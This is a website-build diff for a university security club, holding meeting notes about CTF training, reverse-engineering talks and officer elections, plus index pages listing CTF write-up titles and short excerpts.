about getting involved with our CPTC team!Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-19/Wed, 19 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-19/Howdy hackers! Hope your week 4 is going well. Tonight Cameron introduced Reversed Engineering (“Rev”) challenges and how to pwn them. Rev and pwn challenges are a staple of CTF competitions, and we covered a few of the most critical tools in your arsenal for approaching them. We also walked you through an introductory pwn challenge called rev01 that is hosted on our CTF Practice Range. We hope you were able to walk away with some new skills.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-12/Wed, 12 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-12/Howdy hackers! Thanks to everyone who showed up tonight! Tonight we introduced the NSA Codebreaker Challenge, and held a work party. Hopefully you were able to make some progress on Tasks in a focused environment and get free dinner! We covered previous year’s Codebreaker themes, the NSA’s mission and how that inspires the Challenge, and introduced the different tools that the NSA recommends to approach the Challenge with. +The slides for the meeting are available here (ONID required): https://docs.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-05/Wed, 05 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-05/Howdy hackers! Thanks to everyone who showed up, and we hope it was enjoyable and informative! Tonight we introduced Cyber Defense Competitions. We covered some of the skills and areas you would learn by playing in a CDC, what makes them fun, and the career advantages of getting involved in them! +The slides for the meeting are available here: [https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html]https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html +Wish the Cyberforce team luck on November 4th-5th, and be sure to keep an eye out for an announcement about PRCCDC tryouts in mid-late November!Codestin Search Apphttps://osusec.org/blog/meeting-notes-9-28/Wed, 28 Sep 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-9-28/Howdy hackers! Thanks to everyone who showed up to the first meeting and we hope it was fun and informative!! Tonight we helped break in the new year for the club, and many people walked away from the meeting with new OSUSEC swag that they didn’t realize they were going to get! +Overall, we talked about the history and mission of OSUSEC, the various competitions we’re involved in, the events we hold, getting a CTF environment set up, some memes, and more!Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-23/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-23/Thank you to everyone who attended tonight’s meeting! We introduced several different CTF categories and what challenges usually look like within those categories. Then, we went over some of the challenges on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/23/2022 Slides +Later this week, we have this event coming up: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term).Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-9/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-9/Thank you to everyone who attended tonight’s meeting! We chatted some more about reverse engineering, discussing the stack layout, function preambles and local variables on the stack. We introduced the rev02 challenge on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/9/2022 Slides +We have an interesting event coming up later this week: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term).Codestin Search Apphttps://osusec.org/blog/meeting-notes-3-2/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-3-2/Thank you to everyone who attended tonight’s meeting! We talked about what Wargames are, what their value is, and what some good starter wargames are to play. +The slides for the meeting are available here (ONID Login Required): 3/2/2022 Slides +Later this week, we have this event coming up: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term). Elastic will be hosting a mini-CTF for us on Friday, it will be an awesome chance to learn about Elastic and win some prizes!Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-2/Wed, 02 Feb 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-2/Thank you to everyone who attended tonight’s meeting! We chatted about reverse engineering and binary exploitation (pwn) tools and how to use them, and I demonstrated how to solve the rev01 challenge on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/2/2022 Slides +There are some interesting upcoming events which all club members are welcome at: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term), we will have an awesome, real-world challenge for you to solve.Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-26/Wed, 26 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-26/Thank you to everyone who attended! This meeting covered an introduction to reverse engineering on x86 64-bit. We covered some key differences between x86 and x86-64, then we examined how typical control flows are compiled to assembly based on the C source code. +Here are the slides (requires ONID login): Google Slides for 1/26/2021 +The binary and C code that we looked at during tonight’s talk are posted on GitHub.Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-19/Wed, 19 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-19/Thank you to everyone who attended! This meeting covered a presentation called “CS271 for Pwning”, an introduction to assembly and shellcoding with a focus on the useful aspects to pwning / binary exploitation. +Here are the slides (requires ONID login): Google Slides for 1/19/2021 +The next meeting this week is for CTF League on Friday 1/21/2021 @ 6:00pm – 8:00pm, virtually (on Discord).Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-12/Wed, 12 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-12/Thank you to everyone who attended! This meeting covered the solutions to all NSA Codebreaker 2021 Tasks. I hope everyone enjoyed, questions can always be tossed into the #nsacc-21 channel. +Here are the slides (requires ONID login): Google Slides for 1/12/2021 +The next meeting this week is for CTF League on Friday 1/14/2021 @ 6:00pm – 8:00pm, virtually (on Discord).Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-27/Wed, 27 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-27/Thank you to everyone who attended! This meeting covered an introduction to NSA Codebreaker Challenge, including some common tools and strategies used to solve challenges 0-6. +Here are the slides (requires ONID login): Google Slides for 10/27/2021 +The next couple meetings will be as follows: +CTF League on Friday 10/29/2021 @ 6:00pm – 8:00pm in KEC 1003. We will be having pizza outside the room first (likely outside or in the atrium – see the CTF League Discord), followed by breaking up into teams and playing this week’s OSINT challenge by Cameron!Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-6/Wed, 06 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-6/Thank you to all the members that attended this meeting! We covered lockpicking basics, legality and ethics, before Ryan presented a live demonstration of picking a lock. Then, each table had a selection of locks of increasing difficulty and tools to try to pick them with. +Here are the slides (requires ONID login): Google Slides for 10/6/2021 +Next week (week of 10/11) we have two meetings: +Talk by NetSPI about NetSPI U on Wednesday 10/13/2021 @ 6:00pm – 7:00pm.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-1/Fri, 01 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-1/Thank you to everyone for coming to our first meeting this year! We had well over our expected 70 people in attendance. We introduced OSUSEC, what we do, how our Discord server works, as well as some ethics. We introduced members to Capture The Flag, and we delved into the first CTF League challenge of the year, a web challenge! +Here are the slides (requires ONID login): Google Slides for 10/1/2021Codestin Search Apphttps://osusec.org/blog/2021-2022-osusec-officers-decided/Sat, 24 Apr 2021 00:00:00 -0700https://osusec.org/blog/2021-2022-osusec-officers-decided/For the coming school year, we welcome in 8 officers, in the following positions: +President: Lyell Read Vice President: Zach Taylor Treasurer: Mike Carris Lab Manager: Cameron McCawley Community Manager: Christa Wright Recruitment: Brandon Ellis CTF League Coordinator: Allen Benjamin Graphic Designer: Sierra Freihoefer This year is the first year that the posts of Recruitment Officer, CTF League Coordinator, and Community Manager were officially up for grabs. All three were positions that were voted in during the past year by the current officers, to respond to needs for these roles.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-3/Thu, 03 Oct 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-3/Thanks for the great turnout again tonight! We went over some tools you can use for the NSA Codebreaker challenge. +Here is a link to the slides (requires ONID sign-in): Google Slides +Next week’s CTF meeting is slightly changed, it will be at 7pm in KEC 1003 on Tuesday, 10/8.Codestin Search Apphttps://osusec.org/blog/meeting-notes-9-26/Fri, 27 Sep 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-9-26/Thanks everyone for coming out to our first meeting! We had over 50 people in attendance, and introduced the OSU Security Club, what we do, what we stand for, our plans for the year, and worked on a couple introductory CTF challenges. +Here is a link to the slides (requires ONID login): Google Slides +Next week we have two meetings: +The first CTF meeting is Tuesday, 10/1 @ 6:30pm in KEC 1005.Codestin Search Apphttps://osusec.org/blog/nsa-visit/Thu, 26 Sep 2019 00:00:00 -0700https://osusec.org/blog/nsa-visit/Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance for the talk. +The talk was focused around the NSA Codebreaker Challenge, which just started last weekend (Oregon State won last year, and is currently in 2nd place). There was also a long Q&amp;A session following the talk, where club members were able to ask questions about the challenge, in addition to general curiosities about the National Security Agency.Codestin Search Apphttps://osusec.org/blog/meeting-notes-5-9/Thu, 09 May 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-5-9/Today we hosted Ryan Gurr and Alex Ryan from Fidelis Cybersecurity, who talked about their experiences and background in information security, and showed a cool demo of Fidelis’s platform. +If you have any questions for Ryan or Alex, please contact them, they said they’d love to answer any questions you may have, related to Fidelis or not. You can get their contact info here.Codestin Search Apphttps://osusec.org/blog/2019-2020-officers/Fri, 26 Apr 2019 00:00:00 -0700https://osusec.org/blog/2019-2020-officers/Here are the new officers for the 2019-2020 school year: +President: Zander Work Vice President: Hadi Rahal-Arabi Treasurer: David Park Multimedia Coordinator: Adam Stewart Lab Manager: Ryan Kennedy Recruitment/Public Relations: Alex Rash Thanks to everyone who participated!Codestin Search Apphttps://osusec.org/blog/meeting-notes-4-18/Thu, 18 Apr 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-4-18/Tonight I gave a tutorial on IDA Pro basics, and how to get started with this awesome tool. I also released some new binaries on the CTF site for you to practice IDA. +Remember, as a OSU Security Club member you have access to our lab systems, which has the full version of IDA Pro and the Hex-Rays Decompiler installed, so make sure to use those if you want to take advantage of the advanced functionality.Codestin Search Apphttps://osusec.org/blog/2019-2020-officer-elections-on-april-25th/Tue, 16 Apr 2019 00:00:00 -0700https://osusec.org/blog/2019-2020-officer-elections-on-april-25th/We will be holding officer elections for next school year during our regular meeting on Week 4 (April 25th). This is a great way to be more involved with the club, and represent us to the College of Engineering. +Here are the positions (link goes to position duties): +President Vice President Treasurer Multimedia Coordinator Lab Manager To run for a position, please do the following: +Fill out this form no later than April 23rd Send a slide (one slide) to security.Codestin Search Apphttps://osusec.org/blog/meeting-notes-3-7/Thu, 07 Mar 2019 00:00:00 -0700https://osusec.org/blog/meeting-notes-3-7/Thanks to Kees Cook for an awesome look at kernel security! Kees talked about how the kernel exploit for CVE-2017-7038 was discovered, which allowed privilege escalation due to a heap overflow. +You can see his slides here, which also has information for building the POC images for the exploit. +This was our last meeting for Winter 2019, so I’ll see you all next term! Our first meeting will be on Week 2.Codestin Search Apphttps://osusec.org/blog/meeting-2-28-osusec-lab/Thu, 28 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-28-osusec-lab/Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information about the lab environment, please see the dedicated page for it.Codestin Search Apphttps://osusec.org/blog/meeting-2-21/Thu, 21 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-21/Tonight we hosted Karl Fosaaen from NetSPI, and he gave an awesome talk on pentesting in an Azure environment. +If you’re interested in learning more about this, check out the NetSPI blog or the Azure pentesting book he mentioned. Karl’s post on using Azure RunAs certificates is now live here.Codestin Search Apphttps://osusec.org/blog/meeting-2-14/Thu, 14 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-14/Tonight I went over some basic usage of GDB, IDA Pro, and pwntools for solving the first pwnables on our CTF site. +Link to the slides (requires ONID login). The slides have information on getting the tools installed, so if you are having issues with that, check the slides out.Codestin Search Apphttps://osusec.org/blog/meeting-2-7/Thu, 07 Feb 2019 00:00:00 -0700https://osusec.org/blog/meeting-2-7/Today we continued discussing reverse engineering and introduced 64-bit assembly. There are more samples on the GitHub repo. +The only announcement for today is to RSVP for our upcoming event with NetSPI! They will be coming back on 2/21 to do a presentation on penetration testing, and answer any questions you may have. The RSVP is just so I can get a head count for pizza. RSVP here +There are new challenges up on CTFd, rev[1-3]-64.Codestin Search Apphttps://osusec.org/blog/meeting-1-31/Thu, 31 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-31/Today we talked about some basic reverse engineering, and compare/contrasting x86 assembly with C code. +There are some new challenges up on CTFd, rev[1-4] +Link to the slides (requires ONID login)Codestin Search Apphttps://osusec.org/blog/meeting-1-24/Thu, 24 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-24/Tonight we worked on buffer overflows, and some binaries on the new OSUSEC CTF platform. +Slides (requires ONID login) +Next week, we’re going to work on similar binaries, but comparing the assembly code with the C code.Codestin Search Apphttps://osusec.org/blog/meeting-1-17/Thu, 17 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-17/Tonight we talked about some CTF tools and did a walkthrough for “start” on pwnable.tw. You can read a detailed writeup for this binary on the OSUSEC GitHub. +Here’s a link to the slides (requires ONID login): Slides +For those of you who felt lost tonight, my apologies! I received some great feedback, and will have some easier binaries for next week, which will allow me to work on establishing a better baseline for everyone.Codestin Search Apphttps://osusec.org/blog/meeting-1-10/Thu, 10 Jan 2019 00:00:00 -0700https://osusec.org/blog/meeting-1-10/Thanks for a great first meeting for Winter 2019! +Here is a link to the slides (requires ONID login): Slides +For those of you who were unable to make it, here’s a brief summary of what we went over. Mostly, it was just talking about what’s coming for the rest of the term: +Updates on the OSUSEC Lab It’s coming. Windows is almost ready and then I’ll be working on Linux.Codestin Search Apphttps://osusec.org/blog/welcome-to-winter-2019/Tue, 08 Jan 2019 00:00:00 -0700https://osusec.org/blog/welcome-to-winter-2019/Happy New Years! Our first meeting will be this Thursday at 7pm in KEC1003, and we will be meeting at the same time/place the whole term. +Some things to look forward to for this term: +I’m working with NetSPI to have them come back with a more technical presentation and hopefully some labs, so that will be awesome. PRCCDC is in March, with qualifiers in Februrary, so we will be working on putting together a team for that.Codestin Search Apphttps://osusec.org/blog/meeting-11-15/Fri, 16 Nov 2018 00:00:00 -0700https://osusec.org/blog/meeting-11-15/Thanks for a great last meeting for the Fall term! +I gave a talk on all of the low-level architecture and x86 assembly content needed to get started with binary pwning, here is a link to the slides. Hopefully, this is enough to get you all started! +Have a great winter break!Codestin Search Apphttps://osusec.org/blog/meeting-11-01/Thu, 01 Nov 2018 00:00:00 -0700https://osusec.org/blog/meeting-11-01/Thanks to Karl Fosaaen from NetSPI for the awesome presentation on an introduction to penetration testing! Remember, if you want to learn about these things on your own, please make sure to do it on your own network and devices. I’ll update this post with a link to the slides when they become available. +I don’t have any announcements for this week, so I’ll see you all next week!Codestin Search Apphttps://osusec.org/blog/meeting-10-25/Thu, 25 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-25/Thanks to Emily for the great talk on SIEMs (Security Incident and Event Management)! Here is a link to the slides. +Announcements from tonight’s meeting: +Make sure to RSVP for the NetSPI event happening next week (during our normal meeting time)! Here is a link to the form. Oct. 25 is the last day to RSVP. Those of you on the team for Cyberforce Competition, make sure to send your badge forms to PNNL.Codestin Search Apphttps://osusec.org/blog/meeting-10-11/Thu, 18 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-11/Thanks Zach for the awesome presentation tonight on Network Security Monitoring! I’ll update this post with a link to the slides once they are available. +Announcements from tonight’s meeting: +Make sure you are on Discord/SLI. Links are on the homepage for those. We will be hosting NetSPI on November 1st. They will be bringing pizza, so please RSVP for this so we can get a head count and information on dietary restrictions.Codestin Search Apphttps://osusec.org/blog/meeting-10-4/Thu, 04 Oct 2018 00:00:00 -0700https://osusec.org/blog/meeting-10-4/Thanks to Akshith for a great presentation on Blockchain! For those of you who were unable to make it, here is a link to the slides: https://drive.google.com/file/d/1-PVTrV6JO6DFnFFz415_JvZ52J-DXJqw/view?usp=sharing +Announcements from today’s meeting: +If you are interested in working in the Information Security Office here at OSU, make sure to apply here: https://jobs.oregonstate.edu/postings/67398. If you have any questions, please contact Emily Longman. No meeting next week (10/11) Applications for Cyberforce Competition will close on October 10th, please fill that out if you are interested: https://goo.Codestin Search Apphttps://osusec.org/blog/meeting-9-27/Thu, 27 Sep 2018 00:00:00 -0700https://osusec.org/blog/meeting-9-27/Thanks for the awesome turnout tonight! I’ll make a permanent reservation for that space, as it seems like we have a lot more members this year, which is fantastic! +Here is a link to the slides for tonight’s meeting: https://docs.google.com/presentation/d/1FyKIu0n8VOtbkOpgnoEFbv3iV2xa7JGM1sUMZdFvLKg/edit?usp=sharing (NOTE: you need to sign in with your OSU account to view them) +Please make sure you register with the club via SLI (Link: https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b). +This weekend we (officers) will be revamping the resources page to provide some guidance for those who are brand new to security and those who have been 1337 pwners for years alike. \ No newline at end of file diff --git a/categories/uncategorized/index.html b/categories/uncategorized/index.html new file mode 100644 index 0000000..d22329a --- /dev/null +++ b/categories/uncategorized/index.html @@ -0,0 +1,6 @@ + +Codestin Search App

Uncategorized

Welcome to DamCTF

shamir_babytcache101

Read More

\ No newline at end of file diff --git a/categories/uncategorized/index.xml b/categories/uncategorized/index.xml new file mode 100644 index 0000000..c341490 --- /dev/null +++ b/categories/uncategorized/index.xml @@ -0,0 +1 @@ +Codestin Search Apphttps://osusec.org/categories/uncategorized/Recent content in Uncategorized on OSU Security ClubHugo -- gohugo.ioen-usSat, 22 Feb 2020 00:00:00 -0700Codestin Search Apphttps://osusec.org/blog/welcome-to-damctf/Sat, 22 Feb 2020 00:00:00 -0700https://osusec.org/blog/welcome-to-damctf/shamir_babytcache101 \ No newline at end of file diff --git a/categories/writeups/index.html b/categories/writeups/index.html new file mode 100644 index 0000000..0525e07 --- /dev/null +++ b/categories/writeups/index.html @@ -0,0 +1,11 @@ + +Codestin Search App

Writeups

How I Approach pwn Challenges

The below write-up was posted in our internal CTF League discord server. Replicated here for posterity.

Generally, my process for a pwn challenge is:

1. Recon

  • Figure out what kind of program …

Read More

Logo for Crowdstrike Adversary Quest

Crowdstrike Adversary Quest - Much Sad

Prompt

We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom …

Read More

0x41414141 CTF logo

0x41414141 CTF - 0x414141

Prompt

I think offshift promised to opensource some of their code

author: notforsale

Solution

First off, we navigate to the offshift-dev github account, linked from the offshift site. Unfortunately, …

Read More

BSidesPDX logo

BSidesPDX - Xclusive Numborz

Prompt

Category: Over The Air

290 Points

8 Solves

I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to …

Read More

BSidesPDX logo

BSidesPDX - Please Stand By

Prompt

Category: Over The Air

263 Points

14 Solves

Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in …

Read More

BSidesPDX logo

BSidesPDX - Down the Rabbit Hole

Prompt

Category: Over The Air

297 Points

5 Solves

During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman …

Read More

EkoPartyCTF logo

EkoPartyCTF - Leak

EkoParty CTF 2020 Git 1

Prompt

Exact prompt has been forgotten. Linked to this GitHub repo

Solution

This solution was quite obscure, as I approached this challenge in a github mindset, not a ctf::misc …

Read More

EkoPartyCTF logo

EkoPartyCTF - Env

EkoParty CTF 2020 Git 3

Prompt

Not too sure of the original prompt, however I did not need it.

Solution

After the second part of the git challenge saga, we have gotten a new repository with some new …

Read More

EkoPartyCTF logo

EkoPartyCTF - Docs

EkoParty CTF 2020 Git 2

Prompt

Exact prompt has been forgotten. Linked to this GitHub repo

Solution

As I mentioned in the writeup for leak, I was in a very githubby mindset when I started this …

Read More

Fword CTF logo

Fword CTF - Identity Fraud

Points: 419 Solves: 86 Category: OSINT

Prompt

Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. …

Read More

NahamConCTF banner

NahamConCTF - Tron

75 points

Prompt

NahamConTron is up to more shenanigans. Find his server.

Solution

I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username > …

Read More

NahamConCTF banner

NahamConCTF - Time Keeper

50 points

Prompt

There is some interesting stuff on this website. Or at least, I thought there was…

Connect here: https://apporima.com/

Note, this flag is not in the usual format.

Solution

After …

Read More

NahamConCTF

NahamConcTF - Microosoft

100 points

Prompt

We have to use Microsoft Word at the office!? Oof…

Download the file below.

File

Solution

Opening the file does not do much, but it would not be that easy.

Screenshot of open Word document spelling &ldquo;oof&rdquo;

Using file we can find …

Read More

NahamConCTF banner

NahamConCTF - Finsta

50 points

Prompt

This time we have a username. Can you track down NahamConTron?

Solution

I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework > Username …

Read More

IJCTF logo

IJCTF - Vault Writeup

Prompt

We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10).

shift register… …

Read More

HouseplantCTF logo

HouseplantCTF Satan's Jigsaw Writeup

Prompt

Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁

Dev: Tom

Hint! long_to_bytes

File: chall.7z

Solution

This …

Read More

Houseplant CTF logo

HouseplantCTF - Catography Writeup

Prompt

Jubie’s released her own collection of cat pictures. Go check it out!

http://challs.houseplant.riceteacatpanda.wtf:30002

Note: The Unsplash author credit is not a part of the challenge, it’s …

Read More

ByteBanditsCTF logo

ByteBanditsCTF - string.equals(integer) Writeup

Prompt

Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in …

Read More

MidnightsunCTF logo

MidnightsunCTF Snake++

Prompt

141 points, 38 solves

Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc …

Read More

AUCTF logo

AUCTF - Who Made Me

950 points

Prompt

One of the developers of this CTF worked really hard on this challenge.

note: the answer is not the author’s name

Author: c

Solution:

Now for a much more real-world OSINT …

Read More

AUCTF logo

AUCTF - OSINT You All Over the Place

A post-competition writeup; 983 points

Prompt

I do not have access to the prompt, but the URL is devs-r-us.xyz

Solution

After solving the first three challenges, I looked into this one. I investigated …

Read More

AUCTF logo

AUCTF - Good Old Days

877 points

Prompt

This site used to look a lot cooler.

Author: c

Solution

Wayback Machine, here I come! This is the most useful view of the captures for the site ctf.auburn.edu: …

Read More

AUCTF logo

AUCTF - ALIedAS About Some Thing

903 points

Prompt

See what you can find.

AUCTFShh

Author: c

Solution

AUCTFShh looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or …

Read More

NahamConCTF banner

NahamConCTF - Fake File

100 points

Prompt

Wait… where is the flag?

Connect here: nc jh2i.com 50026

Solution

Let’s nc to that server and see what’s up:

$ nc jh2i.com 50026
+
+bash: cannot set terminal process group (1): …

Read More

The VolgaCTF logo

VolgaCTF - excellent-crackme

Prompt

Excellent Crackme We know one can do pretty much everything in Excel spreadsheets, but this…

excel_crackme

Solution

An excel challenge – that’s a first for us! Let’s crack that file open. We …

Read More

TAMUCTF logo

TAMUCTF RSAPWN

Prompt

We must train the next generation of hackers.

nc challenges.tamuctf.com 8573

Solution

It looks like this just asks us to find the two “big prime” factors of the number provided, and return …

Read More

TAMUCTF logo

TAMUCTF - WOOF_WOOF

Prompt

(I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :()

The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format GIGEM-.... …

Read More

TAMUCTF logo

TAMUCTF - RUSSIAN_NESTING_DOLLS

Prompt

Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look?

Files: netlogs.pcap …

Read More

TAMUCTF logo

TAMUCTF - GEOGRAPHY

Prompt

My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111.

She’s always been a bit cryptic. …

Read More

TAMUCTF Logo

TAMUCTF - ALCAPONE

Prompt

Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look …

Read More

The Fireshell Security Team's banner, featuring their website URL

FireshellCTF Against the Perfect discord Inquisitor 1 and 2

Prompt 1

You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from …

Read More

DefCon Qualifiers 2019 - redacted-puzzle

The only file given is a GIF image, named redacted-puzzle.gif. We must first inspect it:

$ exiftool redacted-puzzle.gif
+ExifTool Version Number         : 10.80
+File Name                       : …

Read More

ångstromCTF lithp

Problem

My friend gave me this program but I couldn’t understand what he was saying – what was he trying to tell me?

Author: fireholder

Points: 60

Solution

First things first, let’s open that lisp …

Read More

ångstromCTF - streams

Problem

White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here.

Note: The flag is all lowercase and follows the …

Read More

UTCTF 2019 - Scrambled

Tl;dr Cool encoding using Rubik’s cube, I wrote a Python script.

This was a 1250 point Forensics challenge (highest points in the category). Here’s the description:

Scrambled challenge description

By the time I took a look at the …

Read More

UTCTF 2019 - Crackme

This was a 1200 point reversing challenge (tied for highest point value in the category). Here’s the description:

Screenshot of UTCTF&rsquo;s CTFd for the Crackme challenge

This what we see when we run the binary:

$ ./crackme
+Please enter the correct …

Read More

UTCTF 2019 - Rogue Leader

Problem Description

Our once-venerable president has committed the unspeakable crime of dine-and-dashing the pizza during our own club meetings. He’s on the run as we speak, but we’re not sure where …

Read More

NSA Codebreaker 2018 Task 7

Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)

Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds …

Read More

NSA Codebreaker 2018 - Task 6

Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)

Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether …

Read More

HITCON CTF 2018 EV3 Basic

Link to Github

Screenshot of a CTFd challenge called EV3 Basic with a TAR archive to download.

Even though this was a pretty simple challenge, I really enjoyed it and wanted to do a write-up for it anyways.

EV3 is the latest generation of the LEGO Mindstorms robots, and thanks …

Read More

\ No newline at end of file diff --git a/categories/writeups/index.xml b/categories/writeups/index.xml new file mode 100644 index 0000000..a386fb4 --- /dev/null +++ b/categories/writeups/index.xml @@ -0,0 +1,138 @@ +Codestin Search Apphttps://osusec.org/categories/writeups/Recent content in Writeups on OSU Security ClubHugo -- gohugo.ioen-usWed, 24 Jan 2024 22:25:26 -0700Codestin Search Apphttps://osusec.org/blog/jonathans-workflow/Wed, 24 Jan 2024 22:25:26 -0700https://osusec.org/blog/jonathans-workflow/The below write-up was posted in our internal CTF League discord server. Replicated here for posterity. +Generally, my process for a pwn challenge is: +1. Recon Figure out what kind of program you&rsquo;re dealing with &ndash; run file to see what kind of binary it is, maybe checksec to see what kind of security measures it has, figure out how to get it to run on your system Run the program a few times as a user, just so you can be familiar with what it does.Codestin Search Apphttps://osusec.org/blog/0x41414141-ctf-0x414141/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/blog/0x41414141-ctf-0x414141/Prompt I think offshift promised to opensource some of their code +author: notforsale +Solution First off, we navigate to the offshift-dev github account, linked from the offshift site. Unfortunately, nothing there. Searching google for “offshift github” brings us to a different github with a single suspicious repository. This has two commits, one where files are uploaded, and one in which the _pycache_ folder is deleted. That folder sounds interesting, so we clone the repository, and checkout the commit where the files were added:Codestin Search Apphttps://osusec.org/blog/crowdstrike-adversary-quest-much-sad/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/blog/crowdstrike-adversary-quest-much-sad/Prompt We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom note, is there any way for you to gather more information about the adversary’s online presence? +NOTE: Flags will be easily identifiable by following the format CS{some_secret_flag_text}. They must be submitted in full, including the CS{ and } parts.Codestin Search Apphttps://osusec.org/blog/bsidespdx-down-the-rabbit-hole/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-down-the-rabbit-hole/Prompt Category: Over The Air +297 Points +5 Solves +During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman wearing some sort of face mask and there were strange tones. The tones were familiar and rang a bell, but I couldn’t quite put my finger on them. I don’t know what these things mean, but maybe you can figure it out.Codestin Search Apphttps://osusec.org/blog/bsidespdx-please-stand-by/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-please-stand-by/Prompt Category: Over The Air +263 Points +14 Solves +Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in the transmission. +twitch.tv/over_the_air +Author(s): 0xdade &amp; fdcarl +Solution This challenge is about the “Please Stand By” screen, presumably. Let’s start by looking there. This screen is displayed during the first 2:09 of the twitch stream(recording)Codestin Search Apphttps://osusec.org/blog/bsidespdx-xclusive-numborz/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-xclusive-numborz/Prompt Category: Over The Air +290 Points +8 Solves +I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to me but I couldn’t understand what she was saying. Can you figure it out? There’s no space for mistakes, and no room for questions. +twitch.tv/over_the_air +Author(s): 0xdade &amp; fdcarl +Solution The first challenge was easy, but this one is a little trickier.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-docs/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-docs/EkoParty CTF 2020 Git 2 +Prompt Exact prompt has been forgotten. 